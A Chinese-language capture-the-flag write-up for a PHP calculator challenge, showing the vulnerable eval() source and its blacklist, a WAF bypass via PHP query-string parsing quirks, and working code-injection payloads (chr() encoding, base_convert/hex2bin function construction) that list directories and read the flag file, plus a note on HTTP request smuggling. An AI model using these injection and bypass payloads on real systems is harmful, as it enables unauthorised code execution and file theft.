打开题目:

随便输入1,回显:

再尝试些敏感的关键词,回显:

看来是有waf,于是打开源码看看有唔提示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!--I've set up WAF to ensure security.-->'
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>

源码中提示了这题加了waf,我们访问calc.php,看到源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

由这个waf我们得知payload中不能含有”‘ ‘, ‘\t’, ‘\r’, ‘\n’,’'‘, ‘“‘, ‘`‘, ‘[‘, ‘]‘,’$‘,’\‘,’^‘“字符,除此之外,经过测试,这还过滤了字母,若num中含有字母则会返回403,所以除了上面这个waf、还有一个black_list

那么第一步要做的就是绕过他们
其中一个最简单的办法就是直接在查询参数前面加个空格,即将?num=改为? num=即可绕过(在num前加个空格)

利用PHP的字符串解析特性绕过modsecurity

转至:https://www.freebuf.com/articles/web/213359.html

PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

1
/news.php?%20news[id%00=42"+AND+1=0--

上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中

HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1
2
3
1.删除空白符

2.将某些字符转换为下划线(包括空格)

例如:

User input Decoded PHP variable name
%20foo_bar%20 foo_bar foo_bar
foo%20bar%00 foo bar foo_bar
foo%5bbar foo[bar foo_bar

parser_str函数如何处理字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
foreach(
[
"{chr}foo_bar",
"foo{chr}bar",
"foo_bar{chr}"
] as $k => $arg) {
for($i=0;$i<=255;$i++) {
echo "\033[999D\033[K\r";
echo "[".$arg."] check ".bin2hex(chr($i))."";
parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
/* yes... I've added a sleep time on each loop just for
the scenic effect :)
like that movie with unrealistic
brute-force where the password are obtained
one byte at a time (∩`-´)⊃━☆゚.*・。゚
*/
usleep(5000);
if(isset($o["foo_bar"])) {
echo "\033[999D\033[K\r";
echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
}
}
echo "\033[999D\033[K\r";
echo "\n";
}

parse_str函数通常被自动应用于get、post请求和cookie中。如果你的Web服务器接受带有特殊字符的参数名,那么也会发生类似的情况。如上代码所示,我进行了多次循环,枚举了参数名三个位置的0到255之间的所有字符,看看解析函数到底是如何处理这些特殊字符的。结果如下:

1
2
3
4
5
1.[1st]foo_bar

2.foo[2nd]bar

3.foo_bar[3rd]

在上述方案中,foo%20bar和foo+bar等效,均解析为foo bar。

payload:

方法一:

1
calc.php? num=phpinfo()

发现有禁用函数

不管,先找

1
? num=var_dump(scandir(dirname(dirname(dirname(getcwd())))));
相关函数
1
2
3
getcwd — 取得当前工作目录
dirname(string $path) — 返回 path 的父目录
scandir — 列出指定路径中的文件和目录

找到flag:

又因为过滤了些符号,不能直接var_dump(file_get_contents(‘/f1agg’)),所以想到了可以用编码绕过

1
?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

方法二:利用base_convert

base_convert函数可以在任意进制之间转换数字,可以返回任意字母,需要注意它无法返回_ *等特殊字符

又发现dechex函数可以把10进制转换为16进制,我们可以再异或出hex2bin——(将十六进制数转换为二进制数),来获取任意ASCII字符

可以构造var_dump(base_convert(61693386291,10,36)(hex2bin(dechex(46)).hex2bin(dechex(47))))相当于var_dump(scandir(./))
找到f1agg后
可以构造出readfile(/f1agg)来读取文件
构造为:base_convert(2146934604002,10,36)(hex2bin(dechex(47)).base_convert(25254448,10,36))就可以得到flag文件。

协议层的攻击——HTTP请求走私

除此之外,还有另一种方法可以绕过:
利用HTTP请求走私来绕过,该漏洞可以参考“协议层的攻击——HTTP请求走私”:https://paper.seebug.org/1048/#31-cl0get

当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。

理解为php中$_request 相同字段名优先接收post参数,就是这个同时向服务器传递get和post请求,而waf那里只处理了post请求的值,从而使get请求的值绕过了waf的拦截

使用两个 “Content-Length” 绕过

payload同上